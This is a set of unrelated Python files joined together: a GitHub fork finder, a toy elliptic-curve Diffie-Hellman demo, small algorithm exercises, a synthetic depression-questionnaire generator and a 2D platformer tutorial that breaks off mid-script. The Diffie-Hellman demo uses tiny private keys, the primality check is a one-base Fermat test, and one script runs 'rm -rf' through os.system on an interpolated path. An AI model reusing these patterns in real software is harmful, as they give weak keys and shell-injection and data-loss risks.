#!/usr/bin/env python
# coding: utf-8
"""Find forks logic."""
from __future__ import absolute_import, division, print_function, unicode_literals

from argparse import ArgumentParser
import json
import logging
import re

from six import PY3
from six.moves import urllib  # pylint: disable=import-error

from .__init__ import CONFIG
from .git_wrapper import git_config_get_remote, git_fetch_all, git_remote_add
from .interesting import add_interesting_fork, print_interesting_forks

log = logging.getLogger(__name__)

def determine_names(remote_name=CONFIG['remote_name'], **kwargs):  # TRICKY: kwargs is used to prevent TypeError when it got an unexpected keyword argument from find_forks(). pylint: disable=unused-argument
    """Try to determine the user and repository name.

    :param remote_name: A clone from github will use "origin" as remote name by default.

    Returns list with user and repo.
    """
    remote_url = git_config_get_remote(remote_name)
    if not remote_url:
        raise RuntimeError('Could not get remote url with name "%s". Check output of your `git remote`.' % (remote_name, ))

    remote_url = remote_url[15:] if 'git@github.com:' == remote_url[0:15] else remote_url
    remote_url = remote_url[:-4] if '.git' == remote_url[-4:] else remote_url

    return remote_url.split('/')[-2:]

def add_forks(url, follow_next=True, **kwargs):
    """Add forks to the current project."""
    log.info('Open %s', url)
    try:
        response = urllib.request.urlopen(url, timeout=6)
    except urllib.error.URLError as ex:
        log.error(ex)
        return None

    if PY3 and response.status == 200 or response.code == 200:
        content = response.read().decode('utf-8')
        forks = json.loads(content)
        for fork in forks:
            add_interesting_fork(fork)
            git_remote_add(fork['owner']['login'], fork['clone_url'], **kwargs)
        # Gets link to next page.
        if follow_next:
            link = response.getheader('Link', '') if PY3 else dict(response.info()).get('link', '')
            match = re.match(r'<(.*)>;\ rel="next"', link)
            if match:
                return match.group(1)

    return None

def find_forks(user=None, repo=None, determine_names_handler=None, per_page=CONFIG['per_page'], start_page=CONFIG['start_page'], **kwargs):
    """Find forks.

    Runs all methods in proper order to find all forks of github user/repo."""
    if user is None and repo is None:
        user, repo = determine_names(**kwargs) if determine_names_handler is None else determine_names_handler(**kwargs)

    url = 'https://api.github.com/repos/%s/%s/forks?per_page=%s&page=%s' % (user, repo, per_page, start_page)
    while url:
        url = add_forks(url, **kwargs)

    if not kwargs.get('no_fetch', False):
        git_fetch_all(**kwargs)

def main():
    """Main function to run as shell script."""
    try:
        from .__init__ import __version__
    except (SystemError, ValueError) as ex:
        if PY3 and isinstance(ex, SystemError) or isinstance(ex, ValueError):
            from __init__ import __version__  # pylint: disable=import-error,no-name-in-module
        else:
            raise

    parser = ArgumentParser(prog='find_forks')
    parser.add_argument(
        '-n', '--remote-name', default=CONFIG['remote_name'],
        help='Specify git remote name to determine user and repo (default: %s)' % (CONFIG['remote_name'], ))
    parser.add_argument('-l', '--log', default='info', help='Specify log level (notset, debug, info, warning, error, critical)')
    parser.add_argument('--no-fetch', default=False, action='store_true', help='Do not run git fetch to run it manually later')
    parser.add_argument('-u', '--user', default=None, help='Specify github user')
    parser.add_argument('-r', '--repo', default=None, help='Specify github user\'s repo')
    parser.add_argument('-p', '--per-page', default=CONFIG['per_page'], help='Specify number of records per page on github')
    parser.add_argument('-s', '--start-page', default=CONFIG['start_page'], help='Specify start page on github')
    parser.add_argument('--dry-run', default=CONFIG['dry_run'], action='store_true', help='Do not run the git commands')
    parser.add_argument('-v', '--version', action='version', version='%(prog)s ' + __version__)
    args = parser.parse_args()

    if args.log:
        root_log = logging.getLogger()
        handler = logging.StreamHandler()
        formatter = logging.Formatter('%(levelname)s %(name)s:%(lineno)d - %(message)s')
        handler.setFormatter(formatter)
        root_log.addHandler(handler)
        root_log.setLevel(args.log.upper())
    del args.log

    find_forks(**vars(args))
    print_interesting_forks()

if __name__ == '__main__':
    main()


class ECC(object):

    def __init__(self, a, b, p, base_point):
        self.curve = (a,b,p)
        self.base_point = base_point
        self.double_base_point = self.double_point(base_point)

    def xgcd(self, b, n):
        x0, x1, y0, y1 = 1, 0, 0, 1
        while n != 0:
            q, b, n = b // n, n, b % n
            x0, x1 = x1, x0 - q * x1
            y0, y1 = y1, y0 - q * y1
        return b, x0, y0

    def inverse(self, b):
        g, x, _ = self.xgcd(b, self.curve[2])
        if g == 1:
            return x % self.curve[2]

    def add_points(self, p, q):
        delta = 0

        if p == None or q == None:
            return p if q == None else q
        elif p[0] == q[0] and p[1] == q[1]:
            delta = (3 * p[0]**2 + self.curve[0]) * \
                    self.inverse(2 * p[1]) % self.curve[2]
        else:
            delta = (p[1] - q[1]) * self.inverse((p[0] - q[0])) % self.curve[2]

        x = (delta * delta - p[0] - q[0]) % self.curve[2]
        y = (delta * (p[0] - x) - p[1]) % self.curve[2]

        return (x,y)

    def double_point(self, p, k = 1):
        Q = p
        for i in range(0,k):
            Q = self.add_points(Q,Q)
        return Q

    def base_point_mult(self, k):
        Q = None
        for i in [1 if digit == '1' else 0 for digit in bin(k)[2:]]:
            Q = self.double_point(Q)
            if i == 1:
                Q = self.add_points(Q, self.base_point)

        return Q

class DiffieHellman(object):

    def __init__(self, elliptic_curve, point_g):
        self.elliptic_curve = elliptic_curve
        self.point_g = point_g

    def generate_public_key(self, private_key):
        if private_key < 0:
            raise ValueError
        return self.elliptic_curve.double_point(self.point_g, private_key)

    def secret_key(self, private_key, public_key):
        return self.elliptic_curve.double_point(public_key, private_key)[0]

point_g = (
    0x188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012, # Gx
    0x07192b95ffc8da78631011ed6b24cdd573f977a11e794811) # Gy

curve = ECC(
    -3, # a
    0x64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1, # b
    6277101735386680763835789423207666416083908700390324961279, # p
    point_g)

dh = DiffieHellman(curve, point_g)

private_key1 = 7919
public_key1 = dh.generate_public_key(private_key1)

private_key2 = 8387
public_key2 = dh.generate_public_key(private_key2)

private_key3 = 10657
public_key3 = dh.generate_public_key(private_key3)

print("private_key1: {} \npublic_key1 {}\n \nprivate_key2: {} \npublic_key2: {}\n \nprivate_key3: {} \npublic_key3: {}\n"
    .format(private_key1, public_key1, private_key2, public_key2, private_key3, public_key3))
print("dh.secret_key(private_key1, public_key2) {}".format(dh.secret_key(private_key1, public_key2)))
print("dh.secret_key(private_key2, public_key1) {}".format(dh.secret_key(private_key2, public_key1)))


import sys
input=sys.stdin.readline

N = int(input())
A = list( map( int , input().split() ))
S = list()
for idx, item in enumerate( A ):
    if( idx == 0 ):
        S.append( A[idx] )
    else:
        S.append(   max( S[idx-1] + A[idx], A[idx] ) )
print( max(S) )


import math

import numpy as np

zero_3x3 = np.zeros((3, 3))

class PlanarTriangleCalculator:
    def __init__(self, sensor_variance: float):
        self.sensor_variance = sensor_variance

    def calculate_triangle(
            self, s1: np.ndarray, s2: np.ndarray, s3: np.ndarray
    ) -> np.ndarray:

        p = np.array([s1[1], s1[2], s1[3]])
        q = np.array([s2[1], s2[2], s2[3]])
        r = np.array([s3[1], s3[2], s3[3]])

        a1 = s1[1] - s2[1]
        a2 = s1[2] - s2[2]
        a3 = s1[3] - s2[3]
        b1 = s2[1] - s3[1]
        b2 = s2[2] - s3[2]
        b3 = s2[3] - s3[3]
        c1 = s1[1] - s3[1]
        c2 = s1[2] - s3[2]
        c3 = s1[3] - s3[3]

        a = math.sqrt(a1 ** 2 + a2 ** 2 + a3 ** 2)
        b = math.sqrt(b1 ** 2 + b2 ** 2 + b3 ** 2)
        c = math.sqrt(c1 ** 2 + c2 ** 2 + c3 ** 2)

        s = 0.5 * (a + b + c)
        area = math.sqrt(s * (s - a) * (s - b) * (s - c))
        moment = area * (a ** 2 + b ** 2 + c ** 2) / 36

        partials = self.calculate_partial_derivatives(
            s, a, b, c, p, q, r, area)
        H = self.calculate_area_derivatives(partials)
        R = self.calculate_r_matrix(p, q, r, self.sensor_variance)

        area_var = self.calculate_area_variance(H, R)
        moment_var = self.calculate_polar_moment_variance(
            a, b, c, partials, H, R, area)

        return np.array(
            [s1[0], s2[0], s3[0], area, moment, area_var, moment_var])

    @staticmethod
    def calculate_partial_derivatives(
            s: float, a: float, b: float, c: float, p: np.ndarray,
            q: np.ndarray, r: np.ndarray, area: float) -> {np.ndarray}:

        u1 = (s - a) * (s - b) * (s - c)
        u2 = s * (s - b) * (s - c)
        u3 = s * (s - a) * (s - c)
        u4 = s * (s - a) * (s - b)

        dA_da = (u1 - u2 + u3 + u4) / (4 * area)
        dA_db = (u1 + u2 - u3 + u4) / (4 * area)
        dA_dc = (u1 + u2 + u3 - u4) / (4 * area)

        da_db1 = np.array(p - q).T / a
        da_db2 = - da_db1
        db_db2 = np.array(q - r).T / b
        db_db3 = - db_db2
        dc_db1 = np.array(p - r).T / c
        dc_db3 = - dc_db1

        return {
            'dA_da': dA_da,
            'dA_db': dA_db,
            'dA_dc': dA_dc,
            'da_db1': da_db1,
            'da_db2': da_db2,
            'db_db2': db_db2,
            'db_db3': db_db3,
            'dc_db1': dc_db1,
            'dc_db3': dc_db3,
        }

    @staticmethod
    def calculate_area_derivatives(p: {np.ndarray}) -> np.ndarray:
        h1T = np.array(p['dA_da'] * p['da_db1'] + p['dA_dc'] * p['dc_db1']).T
        h2T = np.array(p['dA_da'] * p['da_db2'] + p['dA_db'] * p['db_db2']).T
        h3T = np.array(p['dA_db'] * p['db_db3'] + p['dA_dc'] * p['dc_db3']).T
        H = np.append(h1T, [h2T, h3T])  # H [1x9]
        return H

    def calculate_r_matrix(
            self, p: np.ndarray, q: np.ndarray, r: np.ndarray,
            sensor_variance: float) -> np.ndarray:
        R1 = sensor_variance**2*(np.identity(3) - np.outer(p, p))
        R2 = sensor_variance**2*(np.identity(3) - np.outer(q, q))
        R3 = sensor_variance**2*(np.identity(3) - np.outer(r, r))

        return self.build_r_matrix(R1, R2, R3)

    @staticmethod
    def build_r_matrix(
            R1: np.ndarray, R2: np.ndarray,
            R3: np.ndarray) -> np.ndarray:
        row_1 = np.array(np.concatenate((R1, zero_3x3, zero_3x3), axis=1))
        row_2 = np.array(np.concatenate((zero_3x3, R2, zero_3x3), axis=1))
        row_3 = np.array(np.concatenate((zero_3x3, zero_3x3, R3), axis=1))
        return np.concatenate((row_1, row_2, row_3), axis=0)  # R [9x9]

    @staticmethod
    def calculate_area_variance(H: np.ndarray, R: np.ndarray) -> float:
        # Variance - Area
        return float(np.dot(np.dot(H, R), H.T))  # scalar

    # noinspection PyUnusedLocal
    @staticmethod
    def calculate_polar_moment_variance(
            a: float, b: float, c: float, part: {np.ndarray},
            der: np.ndarray, R, area: float) -> float:
        # Variance - Polar Moment

        dJ_da = (-b**3 * area + 2 * a * b**2 * area) / (18 * b**2)
        dJ_db = ((4 * b**3 * area - 3 * a * b**2 * area + 2 * a**2 * b * area)
                 / (18 * b**2) -
                 (b**4 * area - a * b**3 * area + a**2 * b**2 * area + 4 *
                 area**3) / (9 * b**3))
        dJ_dA = (b**4 - a * b**3 + a**2 * b**2 + 12 * area**2) / (18 * b**2)

        h1T = dJ_da * part['da_db1'] + dJ_dA * der[:3]
        h2T = (
            dJ_da * part['da_db2'] + dJ_db * part['db_db2'] + dJ_dA * der[3:6])
        h3T = dJ_db * part['db_db3'] + dJ_dA * der[6:]

        H = np.append(h1T, [h2T, h3T])
        return float(np.dot(np.dot(H, R), H.T))  # scalar


from math import *
from secrets import randbelow

def primality(N):
    a = randbelow(N)
    if (a**(N-1))%N == 1:
        return True
    else:
        return False

def primality2(N):
    A = [randbelow(N) for i in range(10)]
    res = True
    for i in range(10):
        if (A[i]**(N-1))%N == 1:
            continue
        else:
            return False
    return res


#!/usr/bin/env python3

#--------------------------
# Synthetic PRO Generator
# Raheel Sayeed
# -------------------------

import base64, json, urllib.request, urllib.response, time, os
from random import randint
from configparser import ConfigParser

# Credentials
config = ConfigParser()
config.read('credentials.ini')
endpoint = config.get('endpoint', 'demo')
accessidentifier  = config.get('basic', 'identifier')
accesssecret = config.get('basic', 'token')

# Depression
depression_fhirid = '96FE494D-F176-4EFB-A473-2AB406610626'
answerlevel = 'verysevere'

# settings
delay = 1
user_inputmode = True
output_directory = 'fhir_resources'

def write_to_file(json_data, filename):
    with open(filename, 'w') as output:
        dumps = json.dumps(json_data, sort_keys=False, indent=4)
        output.write(dumps)
        output.close()

def create_dir(dirname):
    try:
        os.system(f'rm -rf {dirname}')
        os.mkdir(dirname)
    except OSError:
        print(f'could not create dir: {dirname}')

class response_handler(object):

    def __init__(self, code):
        self.code = code

    def select_response(self):
        if self.code == 'mild':
            return randint(0,1)
        if self.code == 'moderate':
            return randint(1,3)
        if self.code == 'severe':
            return randint(2,4)
        if self.code == 'verysevere':
            return randint(3,4)
        if self.code == 'normal':
            return 0
        if self.code == 'absolute':
            return 4
        else:
            return -1

class adaptive_client(object):

    # intializer
    def __init__(self, access_token, access_secret):
        self.identifier = access_token
        self.secret = access_secret
        self.base_url = endpoint
        self.response_resource = None
        self.question_serial = 0

        # url request
        self.request = urllib.request

    def perform_request(self,  endpoint, postData=None):
        string = '%s:%s' % (self.identifier, self.secret)
        encoded = string.encode() # utf_8
        base64string = base64.b64encode(encoded)
        authstring = 'Basic %s' % base64string.decode() # utf_8
        url = urllib.parse.urljoin(self.base_url, endpoint)
        req = self.request.Request(url)
        req.add_header("Authorization", authstring)
        req.add_header("Content-Type", "application/json; charset=utf-8")
        req.get_method = lambda: 'POST'

        jsonbytes = None
        if postData is not None:
            json_data = json.dumps(postData)
            jsonbytes = json_data.encode('utf-8')
            req.add_header('Content-Length', len(jsonbytes))
        result = urllib.request.urlopen(req, jsonbytes).read()
        jsondict = json.loads(result.decode())
        if jsondict is not None:
           return jsondict
        else:
            return None

    def next_q(self, questionnaire_id, post_data=None):
        return self.perform_request(f'Questionnaire/{questionnaire_id}/next-q', postData=post_data)

class empty_questionnaireresponse:

    @staticmethod
    def new(filename):
        with open(filename) as json_data:
            json_dict = json.load(json_data)
            return json_dict if not None else None

class instrument_session(object):

    def __init__(self, questionnaire_fhir_id, client=adaptive_client, resp_handler=None):

        # Client to make and reeive calls
        self.client = client
        # Questionnaire ID
        self.questionnaire_id = questionnaire_fhir_id
        # question serial number
        self.serial = 0
        #  total number of questions
        self.quesitons = 0

        # auto response type
        self.answer_handler = resp_handler or response_handler('rand')

    def select_answer_foritem(self, questionitem):
        subitems = questionitem['item']
        subitem = questionitem['item'][1]
        answerchoices = [choice['valueCoding'] for choice in subitem['answerOption']]
        if not user_inputmode:
            selected_choice = answerchoices[self.answer_handler.select_response()]
        else:
            displaychoices = [f'{answerchoice["display"]}({answerchoice["code"]})' for answerchoice in answerchoices]
            print(displaychoices)
            inputchoice = input("Response (should be between 0-4): ")
            selected_choice = answerchoices[int(inputchoice)]

        answer_item = {
                "linkId": questionitem['linkId'],
                "item": [{
                    "linkId": subitem['linkId'],
                    "text": subitem['text'],
                    "answer": [
                            {
                                "valueCoding" : selected_choice
                            }
                        ]
                    }],
                "extension": questionitem['extension']
                }
        return answer_item

    def start_survey(self):
        empty_qr = empty_questionnaireresponse.new('empty_questionnaireresponse.json')
        response = self.client.next_q(self.questionnaire_id, empty_qr)
        return response

    def get_next_question(self, response):

        # Get Latest question item
        questionitems = response['contained'][0]['item']
        self.questions = len(questionitems)
        self.serial += 1
        newQuestionIndex = 0
        new_question = questionitems[newQuestionIndex]

        # Select new Answer
        answer = self.select_answer_foritem(new_question)
        response['item'].insert(0, answer)
        return  self.client.next_q(self.questionnaire_id, response)

if __name__ == '__main__':
    print("PROMIS Synthetic Generator")
    print(f'Instrument: {depression_fhirid}')
    answer_handler = response_handler(answerlevel)
    print(f'synthesizing answer level: {answer_handler.code}')
    create_dir(output_directory)
    print(f'Output director: {output_directory}')
    ac = adaptive_client(accessidentifier, accesssecret)

    max_sessions = 2 if user_inputmode else 100
    for i in range(1, max_sessions):

        instrument = instrument_session(depression_fhirid, ac, answer_handler)
        questionnaireresponse = instrument.start_survey()
        completed = False
        while completed is not True:
            time.sleep(delay)
            questionnaireresponse = instrument.get_next_question(questionnaireresponse)
            status = questionnaireresponse['status']
            if status == 'completed':
                os.system('echo -n .')
                completed = True
                write_to_file(questionnaireresponse, f'{output_directory}/{i}_{answerlevel}_QuestionnaireResponse.json')


#!usr/bin/python3

import argparse
import logging
import os
import sys

from DeSurLib import fabric

parser = argparse.ArgumentParser(description='Convert file to other format')
parser.add_argument('file_path', help='path to the file that will be converted')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('--json', '-j', action="store_true")
group.add_argument('--pickle', '-p', action="store_true")
group.add_argument('--toml', '-t', action="store_true")
group.add_argument('--yaml', '-y', action="store_true")

# parser.add_argument('file', help='path to the file that will be converted')

def convert(file_path, new_format):
    if not os.path.exists(file_path):
        logging.error(f'file {file_path} not found')
        sys.exit(1)

    filename, file_extension = os.path.splitext(file_path)
    try:
        serializer_old = fabric.create_serialzer(file_extension[1:])
    except NameError:
        logging.error('file extension should be one of the supported formats')
        sys.exit(1)

    serializer_new = fabric.create_serialzer(new_format)
    if serializer_old.__class__ is serializer_new.__class__:
        logging.error('formats are equal, no need to convert')
        sys.exit(1)

    with open(file_path, serializer_old.read_type) as fp:
        loaded_obj = serializer_old.load(fp)

    with open(f'{filename}.{serializer_new.__class__.__name__.lower()}', serializer_new.write_type) as fp:
        serializer_new.dump(loaded_obj, fp)

    os.remove(file_path)
    logging.info('convertation successful!')

args = parser.parse_args()
if args.json:
    convert(args.file_path, 'json')
elif args.pickle:
    convert(args.file_path, 'pickle')
elif args.toml:
    convert(args.file_path, 'toml')
elif args.yaml:
    convert(args.file_path, 'yaml')


# The second task. This is not the best solution. See the 2.1 file

def solution(xs):
    import numpy as np
    a = np.array(xs)

    cond1 = (a > 0)
    pow1 = a[cond1].prod()

    cond2 = (a < 0)
    xsc2 = a[cond2]
    pow2 = 1
    if len(xsc2) > 1:
        if len(xsc2) % 2 == 0:
            pow2 = xsc2.prod()
        else:
            maxx = xsc2.argmax()
            pow2 = np.delete(xsc2, maxx).prod()
    return pow1*pow2

testarrays = [[-2, -3, 4, -5],[2, -3, 1, 0, -5],[2, 0, 2, 2, 0]]
for s in testarrays:
    print(s)
    print(solution(s))


import Reader
from functools import reduce

def priority(char):
    p = ord(char) - 96
    return p if p > 0 else p + 58

def run():
    sets = map(lambda a: set(list(a)), [*Reader.read("input")])
    groups = zip(*(iter(sets),) * 3)
    intersections = map(lambda a: reduce(lambda b, c: b.intersection(c), a), groups)
    priorities = map(lambda a: priority(a.pop()), intersections)
    return sum(priorities)

print(f'Answer: {run()}')


from ursina import *
import assets.APIs.player_movement_api as pma
from ursina.prefabs.platformer_controller_2d import PlatformerController2d
import json

with open("data.json", 'r') as f:
    data=json.load(f)

with open("Async tasks.py", "r") as f:
    exec(f.read())

def nextpart():
    import subprocess
    import sys
    import os

    current_dir = os.path.abspath(os.path.dirname(sys.argv[0]))

    file_path = os.path.join(current_dir, "Prolouge.py")

    subprocess.Popen(["python", file_path])
    sys.exit()
TutorialCompleted=data['TutorialCompleted']
InversedMode=False

def Inverse():
    inverse_paths = {}
    for i in range(1, 10):
        inverse_paths[i] = 'assets/textures/buildingsInverse/building{}.png'.format(i)

    if not hasattr(Inverse, 'state'):
        Inverse.state = 'normal'

    if Inverse.state == 'normal':
        for e in scene.entities:
            if isinstance(e, Entity) and e.texture is not None:
                if isinstance(e.texture, Texture) and e.texture.path is not None:
                    texture_path = e.texture.path
                elif isinstance(e.texture, str):
                    texture_path = e.texture
                else:
                    texture_path = None

                if texture_path is not None:
                    filename = os.path.basename(texture_path)
                    if filename.startswith('building') and filename.endswith('.png'):
                        building_num = filename[8]
                        if building_num.isdigit() and int(building_num) in range(1, 10):
                            inverse_path = inverse_paths[int(building_num)]
                            e.texture = inverse_path

        Inverse.state = 'inverse'

    elif Inverse.state == 'inverse':
        for e in scene.entities:
            if isinstance(e, Entity) and e.texture is not None:
                if isinstance(e.texture, Texture) and e.texture.path is not None:
                    texture_path = e.texture.path
                elif isinstance(e.texture, str):
                    texture_path = e.texture
                else:
                    texture_path = None

                if texture_path is not None:
                    filename = os.path.basename(texture_path)
                    if filename.startswith('building') and filename.endswith('.png'):
                        building_num = filename[8]
                        if building_num.isdigit() and int(building_num) in range(1, 10):
                            normal_path = 'assets/textures/buildings/building{}.png'.format(building_num)
                            e.texture = normal_path
                Inverse.state = 'normal'
    for e in scene.entities:
        if Inverse.state == 'inverse':
            if hasattr(e, "ID"):
                if e.ID=="Normal":
                    e.color=color.rgb(255,0,255)
                    e.collider=None
                if e.ID=="Inversed":
                    e.color=color.black33
                    e.collider='box'
        else:
            if hasattr(e, "ID"):
                if e.ID=="Normal":
                    e.color=color.black33
                    e.collider='box'
                if e.ID=="Inversed":
                    e.color=color.rgb(255,0,255)
                    e.collider=None

if TutorialCompleted:
    app=Ursina()

    Text("Tutorial completed already! To play again chage data to false. Moving on to prolouge",x=-.4)

    invoke(nextpart)
    app.run()
vsyncEnabled=data['vsyncEnabled']
Fullscreen=data['Fullscreen']
MasterVolume=data['MasterVolume']
volume=data['MasterVolume']/100

window.vsync=vsyncEnabled
window.fullscreen=Fullscreen
window.title="Echoes in the Dark"
app=Ursina()

app.sfxManagerList[0].setVolume(volume)
player_controller = PlatformerController2d(walk_speed=0,scale_y=.5,scale_x=.25, jump_height=2, z=-1,x=3,model="cube", collider='box', visible=False)

PlayerAnimation=Animation('assets/textures/bat_gif.gif',fps=24,parent=scene,scale=.5,z=0)
camera.position=player_controller.position + (0,7,0)
PlayerAnimation2=Animation('assets/textures/bat_gif2.gif',fps=24,parent=scene,visible=False,scale=.5,z=0)
camera.add_script(SmoothFollow(target=player_controller, offset=[0,1,-30], speed=4))
camera.orthographic = True
camera.fov = 10

with open("GenerateBackground.py", "r") as f:
    exec(f.read())

sky=Entity(model='quad',texture='assets/textures/sky.jpg',z=100,scale=1000,texture_scale=(35,35))
ground = Entity(model='quad', color=color.dark_gray,scale=(1000, 10, 20), collider='box', y=-6, z=player_controller.z+.1)

InSettings=False

def update():
    if player_controller.y<-1.0:
        player_controller.y=-1
    PlayerAnimation.position=player_controller.position+(0,0.2,0)
    PlayerAnimation2.position=player_controller.position+(0,0.2,0)
    #print(InversedMode)
    if InversedMode and not InSettings:
        player_controller.walk_speed=2
    elif not InversedMode and not InSettings:
        player_controller.walk_speed=4

Timer=0
InverseCooldown=False
def InverseTimer():
    global Timer,InverseCooldown
    if InverseCooldown:
        Timer+=time.dt
        if Timer>=1:
            InverseCooldown=False
            Timer=0

Entity(update=InverseTimer)

InverseUnlocked=False

def input(key):
    global InSettings,InverseCooldown,InversedMode
    if key=='w' and not InverseCooldown and not InSettings and InverseUnlocked:
        Inverse()
        InverseCooldown=True
        if InversedMode:
            InversedMode=False
        else:
            InversedMode=True
    if key=='space' and player_controller.y<=-1:
        player_controller.grounded=True
        player_controller.air_time = 0
        player_controller.jumps_left=1
        player_controller.jump()
    if key=='a' or held_keys=='a' and not held_keys['d']:
        PlayerAnimation2.visible=True
        PlayerAnimation.visible=False
    if key=='d' or held_keys['d'] and not held_keys['a']:
        PlayerAnimation2.visible=False
        PlayerAnimation.visible=True

app.taskMgr.add(LoadAudio(path="assets/audio/main music.ogg",name="Music",autoplay=True,loop=True))
app.taskMgr.add(LoadAudio(path="assets/audio/lever.ogg",name="LeverClick",autoplay=False,loop=False))
PopSound=Audio('assets/audio/pop.ogg',autoplay=False,loop=False)

##############
# BUILD AREA #
##############

class MovingPlatform(Entity):
    def __init__(self,ID, fromX, toX,y=0,x=0, **kwargs):
        super().__init__(self,model='quad', parent=scene,z=player_controller.z,x=x,y=y, **kwargs)
        self.fromX=fromX
        self.toX=toX
        self.id=ID
        self.collider='box'
        self.scale_x=.8
        self.scale_y=.2
        self.color=color.black33
        self.direction = Vec3(1, 0, 0)
        self.speed = 2
        self.x=fromX
        self.y=y
        self.Timer=0

    def update(self):
        if player_controller.intersects(self) and self.collider!=None:
            player_controller.x=self.x
        self.position += self.direction * self.speed * time.dt
        if self.position.x > self.toX:
            self.direction = Vec3(-1, 0, 0)
        elif self.position.x < self.fromX:
            self.direction = Vec3(1, 0, 0)
        if self.id=='Normal':
            self.collider='box'
            self.color=color.black33
        else:
            self.collider=None
            self.color=color.rgb(255,0,255)
        if self.Timer>=.00001:
            self.Timer+=time.dt
            if self.Timer>=1:
                self.Timer=0

    def input(self, key):
        if key=='w' and self.Timer==0:
            self.Timer=.00001
            if self.id=='Normal':
                self.id='Inversed'
            elif self.id=='Inversed':
                self.id='Normal'

class MovingPlatform_Vertical(Entity):
    def __init__(self,ID, fromY, toY,x=0,y=0, **kwargs):
        super().__init__(self,model='quad', parent=scene,z=player_controller.z,x=x,y=y, **kwargs)
        self.fromY=fromY
        self.toY=toY
        self.id=ID
        self.collider='box'
        self.scale_x=.8
        self.scale_y=.2
        self.color=color.black33
        self.direction = Vec3(0, 1, 0) # modified to move up and down
        self.speed = 2
        self.Timer=0
        self.x=x
        self.y=fromY # modified to set the starting position in the y-axis

    def update(self):
        if player_controller.intersects(self) and self.collider!=None:
            player_controller.y=self.y+.1 # modified to update player's y-axis position
        self.position += self.direction * self.speed * time.dt
        if self.position.y > self.toY: # modified to check against the top boundary
            self.direction = Vec3(0, -1, 0)
        elif self.position.y < self.fromY: # modified to check against the bottom boundary
            self.direction = Vec3(0, 1, 0)
        if self.id=='Normal':
            self.collider='box'
            self.color=color.black33
        else:
            self.collider=None
            self.color=color.rgb(255,0,255)
        if self.Timer>=.00001:
            self.Timer+=time.dt
            if self.Timer>=1:
                self.Timer=0

    def input(self, key):
        if key=='w' and self.Timer==0:
            self.Timer=.00001
            if self.id=='Normal':
                self.id='Inversed'
            elif self.id=='Inversed':
                self.id='Normal'

class TutorialBlock(Entity):
    def __init__(self,action, **kwargs):
        super().__init__(self, **kwargs)
        self.action=action
        self.action1Done=False
        self.action2Done=False
    def update(self):
        dist=distance(PlayerAnimation,self)
        if player_controller.y==.25 and dist<.4 and self.action==1:
            destroy(TutorialText,delay=1)
            destroy(self,delay=1)
            if not self.action1Done:
                self.action1Done=True
                invoke(TutorialScript4,delay=1)
        elif dist<.4 and self.action==2:
            self.color=color.rgb(255,0,255)
            if InversedMode:
                destroy(self,delay=2)
                destroy(TutorialText,delay=2)
                if not self.action2Done:
                    self.action2Done=True
                    invoke(TutorialScript12,delay=2)
        if self.action==2 and InversedMode:
            self.color=color.rgb(255,0,255)
            self.collider=None
        elif self.action==2 and not InversedMode:
            self.color=color.black
            self.collider='box'

#MovingPlatformOne=MovingPlatform(ID='Normal',color=color.black33,y=1.5,fromX=6,toX=10)
#Lever1=Interactable(x=10,functionCallBackOn=test,functionCallBackOff=test2,y=-1)
invisWall=Entity(model='cube',color=color.clear,x=-4,scale_y=500,z=player_controller.z-.1,scale_z=20,collider='box')
invisWall1=Entity(model='cube',color=color.clear,x=10,scale_y=500,z=player_controller.z-.1,scale_z=20,collider='box')

TutorialTimer=0
TutorialAction1=False
TutorialAction2=False
TutorialAction3=False

def TutorialTimerUpdate():
    global TutorialTimer,TutorialAction1,TutorialAction2,TutorialText
    if TutorialAction1:
        TutorialTimer+=time.dt
        if TutorialTimer>=4:
            TutorialAction1=False
            destroy(TutorialText)
            TutorialTimer=0
            TutorialScript2()

def TutorialInputs(key):
    global TutorialAction2,TutorialText,TutorialAction3
    if TutorialAction2:
        if key=='space':
            TutorialAction2=False
            invoke(TutorialScript3,delay=1)
            destroy(TutorialText)
            print_on_screen("Nice!",duration=1)
    if TutorialAction3:
        if key=='w':
            destroy(TutorialText)
            TutorialAction3=False
            chance=random.randint(0,20)
            if chance==20:
                Audio('assets/audio/eggyaudio.ogg',autoplay=True,loop=False,auto_destroy=True,volume=2)
                Audio('assets/audio/eggyaudio2.ogg',autoplay=True,loop=False,auto_destroy=True)
                Entity(parent=camera.ui,model='quad',texture='assets/textures/happyboi.jpg',scale=2)
                Music.stop()
                s = Sequence(
                    Wait(5),
                    Func(application.quit))
                s.start()
            else:
                invoke(TutorialScript7)

Entity(update=TutorialTimerUpdate, input=TutorialInputs)

"""
The code would be much cleaner if I knew how to do sequences but I don't so
this shall work for the time being.
"""
def TutorialScript1():
    global TutorialAction1,TutorialText
    TutorialText=Text("Welcome to the game.",scale=1.2,y=.3,x=-.11)
    PopSound.play()
    TutorialAction1=True

def TutorialScript2():
    global TutorialAction2,TutorialText
    TutorialText=Text("To begin try jump with the spacebar.",scale=1.2,y=.3,x=-.14)
    PopSound.play()
    TutorialAction2=True

def TutorialScript3():
    global TutorialText
    PopSound.play()
    TutorialText=Text("Ok, try jump on that block over there.",scale=1.2,y=.3,x=-.14)
    puzzleBlockOne=TutorialBlock(action=1,model='quad',color=color.black,z=player_controller.z,y=.1,scale=.3,x=5,collider='box')

def TutorialScript4():
    global TutorialText
    TutorialText=Text("Nicely Done!",scale=1.2,y=.3,x=-.1)
    PopSound.play()
    invoke(TutorialScript5,delay=1.5)

def TutorialScript5():
    global TutorialText
    destroy(TutorialText)
    TutorialText=Text("There a few abilities that you have in this game.",scale=1.2,y=.3,x=-.14)
    destroy(TutorialText,delay=3)
    PopSound.play()
    invoke(TutorialScript6,delay=3)

def TutorialScript6():
    global TutorialText,TutorialAction3,InverseUnlocked
    PopSound.play()
    TutorialText=Text("Try clicking 'w' on your keyboard.",scale=1.2,y=.3,x=-.12)
    InverseUnlocked=True
    TutorialAction3=True

def TutorialScript7():
    global TutorialText
    TutorialText=Text("This is called 'Shadow mode'",scale=1.2,y=.3,x=-.13)
    PopSound.play()
    destroy(TutorialText,delay=2)
    invoke(TutorialScript8,delay=2)

def TutorialScript8():
    global TutorialText
    TutorialText=Text("In shadow mode you move slower but you can see invisible blocks.",scale=1.2,y=.3,x=-.2)
    destroy(TutorialText,delay=3)
    invoke(TutorialScript9,delay=3)
    PopSound.play()

def TutorialScript9():
    global TutorialText
    TutorialText=Text("And... when in shadow mode you can't jump on invisible blocks.",scale=1.2,y=.3,x=-.15)
    destroy(TutorialText,delay=3)
